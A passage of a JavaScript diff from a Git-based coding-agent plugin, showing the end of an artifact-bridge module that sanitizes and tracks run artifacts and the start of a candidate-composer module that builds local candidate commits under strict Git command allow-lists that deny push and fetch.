(hasOwn(sanitized, 'sanitizer_version')) { + sanitizerVersion = optOwn(sanitized, 'sanitizer_version'); + if (typeof sanitizerVersion !== 'number' || !NUMBER_IS_SAFE_INTEGER(sanitizerVersion) + || sanitizerVersion < 1) { + failBridge('artifact_bridge_sanitizer_failed', `${field}.sanitizer_version`, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + } + const sourceTruncated = optionalBoolean(sanitized, 'source_truncated', + `${field}.source_truncated`, 'artifact_bridge_sanitizer_failed'); + const complete = optionalBoolean(sanitized, 'complete', `${field}.complete`, + 'artifact_bridge_sanitizer_failed'); + return { + sanitized_ref: sanitizedRef, + bytes, + redaction_count: redactionCount, + sanitizer_version: sanitizerVersion, + source_truncated: sourceTruncated, + complete, + }; +} + +function captureReceipt(fields, rawRef, projection, capturedAt, created) { + return freezeData({ + schema: RUN_ARTIFACT_BRIDGE_CAPTURE_SCHEMA_ID, + version: RUN_ARTIFACT_BRIDGE_VERSION, + run_id: fields.runId, + assignment_id: fields.assignmentId, + relative_path: fields.relativePath, + captured_at: capturedAt, + created, + raw_ref: rawRef, + sanitized_ref: projection.sanitized_ref, + redaction_count: projection.redaction_count, + sanitizer_version: projection.sanitizer_version, + source_truncated: fields.sourceTruncated, + complete: fields.sourceTruncated !== true, + }); +} + +function windowProjection(sanitizedBytes, offset, maxBytes) { + const length = sanitizedBytes.byteLength; + const start = MATH_MIN(offset, length); + const take = MATH_MIN(maxBytes, MATH_MAX(0, length - start)); + const selected = take === 0 + ? BUFFER_ALLOC(0) + : BUFFER_FROM(sanitizedBytes.subarray(start, start + take)); + const readerClipped = take < MATH_MIN(maxBytes, MATH_MAX(0, length - start)) + || (maxBytes < MATH_MAX(0, length - start) && take === maxBytes); + const more = start + take < length; + return { + selected, + selected_byte_length: take, + offset: start, + reader_clipped: readerClipped === true, + more, + next_offset: more ? start + take : null, + }; +} + +function projectionArtifact(rawRef, projection, offset, maxBytes) { + const window = windowProjection(projection.bytes, offset, maxBytes); + return freezeData({ + artifact_kind: rawRef.artifact_kind, + relative_path: rawRef.relative_path, + sanitized_ref: projection.sanitized_ref, + sanitized_byte_length: projection.sanitized_ref.byte_length, + selected_encoding: SELECTED_ENCODING, + selected: window.selected.toString(SELECTED_ENCODING), + selected_byte_length: window.selected_byte_length, + offset: window.offset, + redaction_count: projection.redaction_count, + sanitizer_version: projection.sanitizer_version, + source_truncated: projection.source_truncated, + complete: projection.complete, + reader_clipped: window.reader_clipped, + more: window.more, + next_offset: window.next_offset, + }); +} + +async function appendEvidence(evidenceBundle, event) { + const record = freezeData({ + kind: event.kind, + code: event.code, + run_id: event.run_id, + assignment_id: event.assignment_id, + relative_path: event.relative_path, + artifact_digest: event.artifact_digest, + recorded_at: event.recorded_at, + }); + await callInjected(evidenceBundle.append, record, 'artifact_bridge_store_failed', + 'evidenceBundle'); +} + +function listedRecords(listed, field) { + if (listed === null || listed === undefined) return []; + if (!capturedIsArray(listed)) { + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + if (listed.length > MAX_RUN_ARTIFACTS) { + failBridge('out_of_range', field, CONTENT_FREE.out_of_range); + } + const records = []; + for (let index = 0; index < listed.length; index += 1) { + const entry = unwrapStoreRecord(listed[index], `${field}[${index}]`); + if (entry === null) continue; + records.push(entry); + } + return records; +} + +function assertListedStayInRun(records, runId, field) { + for (let index = 0; index < records.length; index += 1) { + const ref = records[index].artifact_ref; + if (ref.run_id !== runId) { + failBridge('artifact_bridge_run_escape_denied', `${field}[${index}]`, + CONTENT_FREE.artifact_bridge_run_escape_denied); + } + assertRawClass(ref, `${field}[${index}].artifact_class`); + assertRunAssignmentPath(ref.relative_path, ref.run_id, ref.assignment_id, + `${field}[${index}].relative_path`); + } +} + +async function loadAssignmentRaw(rawStore, runId, assignmentId) { + const listed = listedRecords( + await callInjected(rawStore.list, { run_id: runId }, 'artifact_bridge_store_failed', + 'rawStore.list'), + 'rawStore.list', + ); + assertListedStayInRun(listed, runId, 'rawStore.list'); + const matched = []; + for (let index = 0; index < listed.length; index += 1) { + const record = listed[index]; + if (record.artifact_ref.assignment_id !== assignmentId) continue; + matched.push(record); + } + if (matched.length > MAX_ASSIGNMENT_ARTIFACTS) { + failBridge('out_of_range', 'rawStore.list', CONTENT_FREE.out_of_range); + } + matched.sort((left, right) => compareArtifactRefsV1(left.artifact_ref, right.artifact_ref)); + return matched; +} + +function bindCapturedReadback(expectedRef, record, field) { + if (record === null || record.bytes === null) { + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + const ref = record.artifact_ref; + assertSameIdentity(ref, expectedRef.run_id, expectedRef.assignment_id, field); + assertRawClass(ref, `${field}.artifact_class`); + if (compareArtifactRefsV1(ref, expectedRef) !== 0) { + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + const bytes = record.bytes; + if (bytes.byteLength !== expectedRef.byte_length) { + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + const byteHash = digestOf(bytes); + if (!hashesEqual(byteHash, expectedRef.sha256) || !hashesEqual(ref.sha256, byteHash)) { + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + return { + artifact_ref: ref, + bytes: BUFFER_FROM(bytes), + byte_hash: byteHash, + source_truncated: record.source_truncated, + }; +} + +async function materializeRaw(rawStore, record, runId, assignmentId) { + const ref = record.artifact_ref; + assertSameIdentity(ref, runId, assignmentId, 'artifact_ref'); + assertRawClass(ref, 'artifact_ref.artifact_class'); + if (record.bytes !== null) { + return bindCapturedReadback(ref, record, 'rawStore.list'); + } + const fetched = unwrapStoreRecord( + await callInjected(rawStore.get, { + run_id: runId, + assignment_id: assignmentId, + relative_path: ref.relative_path, + }, 'artifact_bridge_store_failed', 'rawStore.get'), + 'rawStore.get', + ); + if (fetched === null || fetched.bytes === null) { + failBridge('artifact_bridge_not_found', 'rawStore.get', + CONTENT_FREE.artifact_bridge_not_found); + } + return bindCapturedReadback(ref, fetched, 'rawStore.get'); +} + +async function projectOne(sanitizer, rawRecord, sourceTruncated) { + const request = { + artifact_ref: rawRecord.artifact_ref, + source: BUFFER_FROM(rawRecord.bytes), + }; + if (sourceTruncated === true || sourceTruncated === false) { + request.source_truncated = sourceTruncated; + } + const sanitized = await callInjected(sanitizer.sanitize, request, + 'artifact_bridge_sanitizer_failed', 'sanitizer'); + const projection = parseSanitizedProjection(rawRecord.artifact_ref, sanitized, 'sanitizer'); + const truncated = latchTruncation(sourceTruncated, projection.source_truncated); + return { + sanitized_ref: projection.sanitized_ref, + bytes: projection.bytes, + redaction_count: projection.redaction_count, + sanitizer_version: projection.sanitizer_version, + source_truncated: truncated, + complete: latchComplete(truncated, projection.complete), + }; +} + +export function describeRunArtifactBridgeV1() { + return freezeData({ + schema: RUN_ARTIFACT_BRIDGE_SCHEMA_ID, + version: RUN_ARTIFACT_BRIDGE_VERSION, + methods: [...RUN_ARTIFACT_BRIDGE_METHODS], + factory_keys: [...RUN_ARTIFACT_BRIDGE_FACTORY_KEYS], + artifact_classes: [...ARTIFACT_CLASSES], + artifact_kinds: [...ARTIFACT_KINDS], + max_assignment_artifacts: MAX_ASSIGNMENT_ARTIFACTS, + max_projection_bytes: MAX_PROJECTION_BYTES, + raw_owner_only: true, + model_facing_sanitized_only: true, + proof_bound_cleanup: true, + automatic_gc: false, + remote_mutated: false, + imports_runtime: false, + imports_scheduler: false, + imports_lifecycle: false, + imports_server: false, + imports_candidate: false, + }); +} + +export function createRunArtifactBridge(options) { + assertPlainObject(options, 'invalid_type', 'options', 'The artifact bridge options'); + assertClosedKeySet(options, RUN_ARTIFACT_BRIDGE_FACTORY_KEYS, 'options'); + assertRequiredKeys(options, RUN_ARTIFACT_BRIDGE_FACTORY_KEYS, 'options'); + const rawStore = requireFunctionMap(optOwn(options, 'rawStore'), 'options.rawStore', + RAW_STORE_METHODS); + const sanitizer = requireFunctionMap(optOwn(options, 'sanitizer'), 'options.sanitizer', + SANITIZER_METHODS); + const evidenceBundle = requireFunctionMap(optOwn(options, 'evidenceBundle'), + 'options.evidenceBundle', EVIDENCE_BUNDLE_METHODS); + const clock = requireFunctionMap(optOwn(options, 'clock'), 'options.clock', CLOCK_METHODS); + + async function captureAssignmentArtifacts(input) { + const fields = parseCaptureInput(input); + const now = readClock(clock); + const rawRef = rawRefFrom(fields, fields.bytes); + const existing = unwrapStoreRecord( + await callInjected(rawStore.get, { + run_id: fields.runId, + assignment_id: fields.assignmentId, + relative_path: fields.relativePath, + }, 'artifact_bridge_store_failed', 'rawStore.get'), + 'rawStore.get', + ); + if (existing !== null) { + assertSameIdentity(existing.artifact_ref, fields.runId, fields.assignmentId, 'rawStore.get'); + assertRawClass(existing.artifact_ref, 'rawStore.get.artifact_class'); + if (existing.artifact_ref.sha256 !== rawRef.sha256 + || existing.artifact_ref.byte_length !== rawRef.byte_length + || existing.artifact_ref.artifact_kind !== rawRef.artifact_kind + || existing.artifact_ref.media_type !== rawRef.media_type) { + failBridge('artifact_bridge_restart_conflict', 'options.source', + CONTENT_FREE.artifact_bridge_restart_conflict); + } + const bound = bindCapturedReadback(existing.artifact_ref, existing, 'rawStore.get'); + if (!hashesEqual(bound.byte_hash, rawRef.sha256)) { + failBridge('artifact_bridge_restart_conflict', 'options.source', + CONTENT_FREE.artifact_bridge_restart_conflict); + } + const latchedTruncated = latchTruncation(bound.source_truncated, fields.sourceTruncated); + const projection = await projectOne(sanitizer, bound, latchedTruncated); + await appendEvidence(evidenceBundle, { + kind: 'capture', + code: 'replayed', + run_id: fields.runId, + assignment_id: fields.assignmentId, + relative_path: fields.relativePath, + artifact_digest: rawRef.sha256, + recorded_at: now, + }); + return captureReceipt({ + ...fields, + sourceTruncated: latchedTruncated === true, + }, existing.artifact_ref, projection, now, false); + } + + const siblings = await loadAssignmentRaw(rawStore, fields.runId, fields.assignmentId); + if (siblings.length >= MAX_ASSIGNMENT_ARTIFACTS) { + failBridge('out_of_range', 'options.relative_path', CONTENT_FREE.out_of_range); + } + + await callInjected(rawStore.publish, { + artifact_ref: rawRef, + bytes: BUFFER_FROM(fields.bytes), + source_truncated: fields.sourceTruncated === true, + }, 'artifact_bridge_store_failed', 'rawStore.publish'); + + const verified = unwrapStoreRecord( + await callInjected(rawStore.get, { + run_id: fields.runId, + assignment_id: fields.assignmentId, + relative_path: fields.relativePath, + }, 'artifact_bridge_store_failed', 'rawStore.get'), + 'rawStore.get', + ); + const bound = bindCapturedReadback(rawRef, verified, 'rawStore.get'); + const latchedTruncated = latchTruncation(bound.source_truncated, fields.sourceTruncated); + const projection = await projectOne(sanitizer, bound, latchedTruncated); + await appendEvidence(evidenceBundle, { + kind: 'capture', + code: 'captured', + run_id: fields.runId, + assignment_id: fields.assignmentId, + relative_path: fields.relativePath, + artifact_digest: rawRef.sha256, + recorded_at: now, + }); + return captureReceipt({ + ...fields, + sourceTruncated: latchedTruncated === true, + }, bound.artifact_ref, projection, now, true); + } + + async function projectAssignmentArtifacts(input) { + const fields = parseProjectInput(input); + const now = readClock(clock); + const listed = await loadAssignmentRaw(rawStore, fields.runId, fields.assignmentId); + const artifacts = []; + for (let index = 0; index < listed.length; index += 1) { + const rawRecord = await materializeRaw(rawStore, listed[index], fields.runId, + fields.assignmentId); + const projection = await projectOne(sanitizer, rawRecord, rawRecord.source_truncated); + artifacts.push(projectionArtifact(rawRecord.artifact_ref, projection, fields.offset, + fields.maxBytes)); + } + await appendEvidence(evidenceBundle, { + kind: 'projection', + code: 'projected', + run_id: fields.runId, + assignment_id: fields.assignmentId, + relative_path: null, + artifact_digest: null, + recorded_at: now, + }); + return freezeData({ + schema: RUN_ARTIFACT_BRIDGE_PROJECTION_SCHEMA_ID, + version: RUN_ARTIFACT_BRIDGE_VERSION, + run_id: fields.runId, + assignment_id: fields.assignmentId, + projected_at: now, + artifacts, + }); + } + + async function cleanupRunArtifacts(input) { + const fields = parseCleanupInput(input); + const now = readClock(clock); + const listed = listedRecords( + await callInjected(rawStore.list, { run_id: fields.runId }, + 'artifact_bridge_store_failed', 'rawStore.list'), + 'rawStore.list', + ); + assertListedStayInRun(listed, fields.runId, 'rawStore.list'); + + const targeted = []; + const allowedAssignments = fields.assignmentIds === null + ? null + : new Set(fields.assignmentIds); + for (let index = 0; index < listed.length; index += 1) { + const record = listed[index]; + if (allowedAssignments !== null + && !allowedAssignments.has(record.artifact_ref.assignment_id)) { + continue; + } + targeted.push(record); + } + + let removed = 0; + for (let index = 0; index < targeted.length; index += 1) { + const ref = targeted[index].artifact_ref; + if (ref.run_id !== fields.runId) { + failBridge('artifact_bridge_run_escape_denied', 'rawStore.remove', + CONTENT_FREE.artifact_bridge_run_escape_denied); + } + await callInjected(rawStore.remove, { + run_id: ref.run_id, + assignment_id: ref.assignment_id, + relative_path: ref.relative_path, + sha256: ref.sha256, + }, 'artifact_bridge_store_failed', 'rawStore.remove'); + removed += 1; + } + + const remainingListed = listedRecords( + await callInjected(rawStore.list, { run_id: fields.runId }, + 'artifact_bridge_store_failed', 'rawStore.list'), + 'rawStore.list', + ); + assertListedStayInRun(remainingListed, fields.runId, 'rawStore.list'); + let remainingTargeted = 0; + for (let index = 0; index < remainingListed.length; index += 1) { + const ref = remainingListed[index].artifact_ref; + if (allowedAssignments !== null && !allowedAssignments.has(ref.assignment_id)) continue; + remainingTargeted += 1; + } + const cleaned = remainingTargeted === 0; + const code = removed === 0 ? 'already_cleaned' : 'cleaned'; + await appendEvidence(evidenceBundle, { + kind: 'cleanup', + code, + run_id: fields.runId, + assignment_id: fields.assignmentIds && fields.assignmentIds.length === 1 + ? fields.assignmentIds[0] + : null, + relative_path: null, + artifact_digest: null, + recorded_at: now, + }); + return freezeData({ + schema: RUN_ARTIFACT_BRIDGE_CLEANUP_SCHEMA_ID, + version: RUN_ARTIFACT_BRIDGE_VERSION, + run_id: fields.runId, + cleaned_at: now, + cleaned, + removed, + remaining: remainingListed.length, + unresolved: [], + }); + } + + return capturedFreeze({ + captureAssignmentArtifacts: capturedFreeze(captureAssignmentArtifacts), + projectAssignmentArtifacts: capturedFreeze(projectAssignmentArtifacts), + cleanupRunArtifacts: capturedFreeze(cleanupRunArtifacts), + }); +} + +capturedFreeze(createRunArtifactBridge); +capturedFreeze(describeRunArtifactBridgeV1); +capturedFreeze(RUN_ARTIFACT_BRIDGE_ERROR_CODES); +capturedFreeze(RUN_ARTIFACT_BRIDGE_METHODS); diff --git a/plugins/codex-co-engineer/mcp/v3/run-candidate-composer.mjs b/plugins/codex-co-engineer/mcp/v3/run-candidate-composer.mjs new file mode 100644 index 0000000..ae24389 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-candidate-composer.mjs @@ -0,0 +1,1254 @@ +// RunCandidateComposerV1 — deterministic run-owned candidate composition (P35; +// ADR 0001 `run_owned_candidate_composition`, `candidate_binary_safe_manifest_order`, +// `candidate_git_policy_revalidation`, `run_owned_candidate_ref_namespace`, +// `diagnostic_partial_candidate_never_ready`, `codex_only_final_acceptance`). +// +// Additive v3 module. It composes frozen, already-verified writer deltas in +// binary-safe manifest order onto the immutable run base, revalidates path +// ownership plus P28/P30 Git policy, and creates only the one-parent +// non-authoritative ref refs/codex-co-engineer/runs//candidate. +// Conflicts are never repaired. Required missing, rejected, or unresolved +// writer lanes block ready. Any diagnostic partial output is +// incomplete_candidate and can never receive ready_for_codex_review. +// Codex retains sole final acceptance/integration authority. +// +// This module does not import or own the server, supervisor, worker, +// provider, registry, runtime, scheduler, artifact-bridge, or release +// surfaces. Mutation is argv-only local Git plumbing under a disposable +// index. Remote, protected, default, tag, and merge refs are never written. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { mkdtemp, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { denyWorkerRemoteMutation } from './credential-boundary.mjs'; +import { + MAX_DURATION_MS, + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from './evidence-bundle.mjs'; +import { + ACTOR_VALUES, + CANDIDATE_REF_LEAF, + CANDIDATE_REF_NAMESPACE, + DENIED_OPERATIONS, + GIT_AUTHORITY_POLICY_V1, + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, + bindAuthorityIdentityV1, + classifyGitOperationV1, + expectedCandidateRefV1, + isRunOwnedCandidateRefV1, + parseGitAuthorityPolicyV1, +} from './git-authority.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + MAX_GIT_ARG_BYTES, + MAX_GIT_ARGS, + MAX_GIT_TIME_MS, +} from './git-identity.mjs'; +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + capturedUtf8ByteLength, + requiredAccessForRole, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { auditProtectedRefsV1 } from './protected-ref-audit.mjs'; +import { + compiledRepoGlobMatchesPath, + compileRepoGlob, +} from './repo-path-matcher.mjs'; +import { + RunContractV1Error, + SCOPE_MAX_PATTERNS, + assertBaseSha, + assertRepositoryPath, + assertRunId, + assertWriteScopePatterns, + isAssignmentId, + isSha40, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_CANDIDATE_COMPOSER_SCHEMA_ID = 'codex-co-engineer.run-candidate-composer.v1'; +export const RUN_CANDIDATE_COMPOSER_VERSION = 1; +export const RUN_CANDIDATE_COMPOSER_RECEIPT_SCHEMA_ID = + 'codex-co-engineer.run-candidate-composer-receipt.v1'; + +export const MAX_COMPOSER_OBJECT_KEYS = 32; +export const MAX_COMPOSER_KEY_BYTES = 128; +export const MAX_COMPOSER_LANES = 8; +export const MAX_COMPOSER_GIT_COMMANDS = 48; +export const MAX_COMPOSER_OUTPUT_BYTES = 262_144; +export const MAX_COMPOSER_TOTAL_TIME_MS = 30_000; +export const MODE_FILE = '100644'; +export const MODE_EXEC = '100755'; +export const MODE_SYMLINK = '120000'; +export const MODE_GITLINK = '160000'; +export const MODE_MISSING = '000000'; +export const ZERO_SHA = '0'.repeat(40); +export const CANDIDATE_COMMIT_MESSAGE = 'codex-co-engineer run-owned candidate'; +export const CANDIDATE_AUTHOR_NAME = 'codex-co-engineer'; +export const CANDIDATE_AUTHOR_EMAIL = 'codex-co-engineer@local'; +export const CANDIDATE_AUTHOR_DATE = '1970-01-01T00:00:00Z'; + +export const COMPOSER_STATUSES = capturedFreeze([ + 'blocked', 'composed', 'incomplete_candidate', +]); +export const LANE_STATES = capturedFreeze([ + 'missing', 'rejected', 'unresolved', 'verified', +]); +export const LANE_KINDS = capturedFreeze(['optional_advisory', 'required_writer']); +export const BLOCKING_LANE_STATES = capturedFreeze(['missing', 'rejected', 'unresolved']); +export const COMPOSER_CHECKS = capturedFreeze([ + 'request_quarantine', + 'p28_authority_policy', + 'candidate_ref_namespace', + 'one_parent_base', + 'binary_safe_manifest_order', + 'path_ownership_revalidation', + 'delta_git_policy', + 'no_conflict_repair', + 'p30_protected_ref_audit', + 'remote_mutation_denied', + 'diagnostic_partial_never_ready', + 'codex_only_final_acceptance', +]); +export const COMPOSER_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ + 'config_mutated', + 'credentials_accessed', + 'default_branch_mutated', + 'head_mutated', + 'index_mutated', + 'integrated', + 'merge_performed', + 'pr_created', + 'protected_ref_mutated', + 'push_performed', + 'rebase_performed', + 'release_created', + 'remote_mutated', + 'tag_created', + 'worktree_mutated', +]); +export const GIT_MUTATION_COMMANDS = capturedFreeze([ + 'commit-tree', 'read-tree', 'update-index', 'update-ref', 'write-tree', +]); +export const GIT_INSPECT_COMMANDS = capturedFreeze([ + 'cat-file', 'diff-tree', 'merge-base', 'rev-list', 'rev-parse', + 'show-ref', 'symbolic-ref', +]); +export const GIT_ALLOWED_COMMANDS = capturedFreeze([ + ...GIT_INSPECT_COMMANDS, ...GIT_MUTATION_COMMANDS, +]); + +export const REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'allow_diagnostic_partial_candidate', 'expected_base_ref', + 'expected_protected_refs', 'identity', 'lanes', 'schema', 'version', +]); +export const REQUEST_REQUIRED_KEYS = capturedFreeze([ + 'expected_base_ref', 'expected_protected_refs', 'identity', 'lanes', + 'schema', 'version', +]); +export const IDENTITY_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'repository_path', 'run_id', +]); +export const IDENTITY_REQUIRED_KEYS = IDENTITY_ALLOWED_KEYS; +export const LANE_ALLOWED_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'head_sha', 'role', 'state', 'write_scope', +]); +export const LANE_REQUIRED_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'role', 'state', 'write_scope', +]); +export const EXPECTED_REF_ALLOWED_KEYS = capturedFreeze(['ref', 'sha']); +export const OPTIONS_ALLOWED_KEYS = capturedFreeze(['auditProtectedRefs', 'spawn']); +export const LANE_RESULT_KEYS = capturedFreeze([ + 'applied', 'assignment_id', 'head_sha', 'kind', 'path_count', 'state', 'write_scope', +]); +export const RECEIPT_KEYS = capturedFreeze([ + 'allow_diagnostic_partial_candidate', 'applied_assignment_ids', + 'assignment_id', 'base_sha', 'blocked_assignment_ids', 'candidate_ref', + 'candidate_sha', 'checks', 'discrepancies', 'facts', 'idempotent', + 'incomplete', 'lanes', 'parent_count', 'parent_sha', + 'ready_for_codex_review', 'run_id', 'schema', 'side_effects', 'status', + 'version', +]); + +export const RUN_CANDIDATE_COMPOSER_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'bounds_exceeded', + 'conflict_unresolved', 'delta_policy_denied', 'exotic_prototype_denied', + 'git_execution_failed', 'invalid_format', 'invalid_type', 'missing_key', + 'non_enumerable_property_denied', 'out_of_range', 'own_undefined_denied', + 'path_ownership_denied', 'protected_ref_write_denied', 'proxy_denied', + 'remote_mutation_denied', 'symbol_key_denied', 'unknown_key', + 'unverified_delta_denied', 'value_depth_exceeded', +]); + +const DEFINE = Object.defineProperty; +const IS_INT = Number.isSafeInteger; +const STRING = String; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); +const IS_ARRAY = capturedIsArray; +const OWN_KEYS = capturedOwnKeys; +const SET_CTOR = Set; +const HASH = createHash; +const HASH_DIGEST = Object.getPrototypeOf(HASH('sha256')).digest; +const HASH_UPDATE = Object.getPrototypeOf(HASH('sha256')).update; +const IS_PROXY = utilTypes.isProxy; +const PATH_JOIN = path.join; +const SPAWN = nodeSpawn; +const MATH_MIN = Math.min; +const MATH_MAX = Math.max; +const MATH_FLOOR = Math.floor; +const BASE_REF_PATTERN = /^refs\/heads\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/u; +const SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const MODE_PATTERN = /^(?:000000|100644|100755|120000|160000)$/u; +const STATUS_PATTERN = /^[A-Z][0-9]{0,3}$/u; + +const GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', + '-c', 'core.fsmonitor=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.untrackedCache=false', +]); + +const COMMIT_ENV = capturedFreeze({ + GIT_AUTHOR_NAME: CANDIDATE_AUTHOR_NAME, + GIT_AUTHOR_EMAIL: CANDIDATE_AUTHOR_EMAIL, + GIT_AUTHOR_DATE: CANDIDATE_AUTHOR_DATE, + GIT_COMMITTER_NAME: CANDIDATE_AUTHOR_NAME, + GIT_COMMITTER_EMAIL: CANDIDATE_AUTHOR_EMAIL, + GIT_COMMITTER_DATE: CANDIDATE_AUTHOR_DATE, +}); + +const MSG = capturedFreeze({ + accessor_property_denied: 'RunCandidateComposerV1 denies accessor inputs.', + aliased_reference_denied: 'RunCandidateComposerV1 denies aliased inputs.', + bounds_exceeded: 'RunCandidateComposerV1 exceeded a closed composition bound.', + conflict_unresolved: 'RunCandidateComposerV1 never repairs overlapping or conflicting deltas.', + delta_policy_denied: 'RunCandidateComposerV1 rejects symlink, submodule, rename, copy, or mode-change deltas.', + exotic_prototype_denied: 'RunCandidateComposerV1 denies exotic prototypes.', + git_execution_failed: 'RunCandidateComposerV1 could not complete a git composition step.', + invalid_format: 'RunCandidateComposerV1 rejected a value that violates a closed grammar.', + invalid_type: 'RunCandidateComposerV1 rejected a non-JSON composition value.', + missing_key: 'RunCandidateComposerV1 requires every canonical composition key.', + non_enumerable_property_denied: 'RunCandidateComposerV1 denies non-enumerable properties.', + out_of_range: 'RunCandidateComposerV1 rejected a value outside closed bounds.', + own_undefined_denied: 'RunCandidateComposerV1 denies own undefined values.', + path_ownership_denied: 'RunCandidateComposerV1 rejected a delta path outside the lane write scope.', + protected_ref_write_denied: 'RunCandidateComposerV1 denies writes to protected or default refs.', + proxy_denied: 'RunCandidateComposerV1 denies Proxy inputs.', + remote_mutation_denied: 'RunCandidateComposerV1 denies push, fetch, and remote mutation.', + symbol_key_denied: 'RunCandidateComposerV1 denies symbol keys.', + unknown_key: 'RunCandidateComposerV1 rejects keys outside the closed vocabulary.', + unverified_delta_denied: 'RunCandidateComposerV1 composes only frozen verified writer deltas.', + value_depth_exceeded: 'RunCandidateComposerV1 rejected nested input that exceeds closed depth.', +}); + +function deny(code, pathLabel) { + fail(code, pathLabel, MSG[code] ?? MSG.invalid_format); +} + +function publicCode(error) { + if (error instanceof RunContractV1Error + && capturedIncludes(RUN_CANDIDATE_COMPOSER_ERROR_CODES, error.code)) { + return error.code; + } + return 'invalid_type'; +} + +function remap(error, pathLabel) { + deny(publicCode(error), pathLabel); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (!Object.hasOwn(values, key)) continue; + DEFINE(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function assertClosedObject(input, allowed, pathLabel) { + if (input === undefined || input === null) deny('invalid_type', pathLabel); + if (typeof input === 'object' || typeof input === 'function') { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + } + if (typeof input !== 'object') deny('invalid_type', pathLabel); + try { + assertPlainObject(input, 'invalid_type', pathLabel, pathLabel); + } catch (error) { remap(error, pathLabel); } + let keys; + try { keys = OWN_KEYS(input); } catch { deny('invalid_type', pathLabel); } + if (keys.length > MAX_COMPOSER_OBJECT_KEYS) deny('out_of_range', pathLabel); + const allowedSet = new SET_CTOR(allowed); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_COMPOSER_KEY_BYTES) { + deny('out_of_range', pathLabel); + } + if (!allowedSet.has(key)) deny('unknown_key', pathLabel); + } + try { assertDirectJsonClosure(input, pathLabel); } catch (error) { remap(error, pathLabel); } + return input; +} + +function requireKeys(input, keys, pathLabel) { + for (let i = 0; i < keys.length; i += 1) { + if (!hasOwn(input, keys[i])) deny('missing_key', pathLabel); + } +} + +function ownString(input, key, pathLabel) { + const value = ownDataValue(input, key, pathLabel); + if (typeof value !== 'string') deny('invalid_type', pathLabel); + return value; +} + +function digestOf(value) { + const hash = HASH('sha256'); + HASH_UPDATE.call(hash, canonicalJsonStringify(value)); + return HASH_DIGEST.call(hash, 'hex'); +} + +function gitCommandOf(args) { + for (let index = 0; index < args.length; index += 1) { + const arg = args[index]; + if (arg === '-C' || arg === '--git-dir' || arg === '-c' || arg === '--namespace') { + index += 1; + continue; + } + if (typeof arg === 'string' && !arg.startsWith('-')) return arg; + } + return undefined; +} + +function assertGitArgv(args, pathLabel) { + if (!IS_ARRAY(args) || args.length === 0 || args.length > MAX_GIT_ARGS + GIT_ISOLATION_FLAGS.length + 4) { + deny('bounds_exceeded', pathLabel); + } + for (let i = 0; i < args.length; i += 1) { + const arg = args[i]; + if (typeof arg !== 'string' || BYTE_LENGTH(arg, 'utf8') > MAX_GIT_ARG_BYTES) { + deny('bounds_exceeded', pathLabel); + } + if (arg.includes('\0')) deny('invalid_format', pathLabel); + } + const command = gitCommandOf(args); + if (!capturedIncludes(GIT_ALLOWED_COMMANDS, command)) deny('remote_mutation_denied', pathLabel); + if (capturedIncludes(DENIED_OPERATIONS, command) || command === 'push' || command === 'fetch') { + deny('remote_mutation_denied', pathLabel); + } +} + +function assertClosedEnv(env, pathLabel) { + try { assertNotProxy(env, pathLabel); } catch (error) { remap(error, pathLabel); } + const keys = OWN_KEYS(env); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key !== 'string') deny('symbol_key_denied', pathLabel); + const value = env[key]; + if (typeof value !== 'string') deny('invalid_type', pathLabel); + } +} + +function createSession(spawnFn) { + const startedAt = Date.now(); + return { + spawn: spawnFn, + commands: 0, + startedAt, + deadlineAt: startedAt + MAX_COMPOSER_TOTAL_TIME_MS, + }; +} + +function remainingMs(session) { + return MATH_MAX(0, session.deadlineAt - 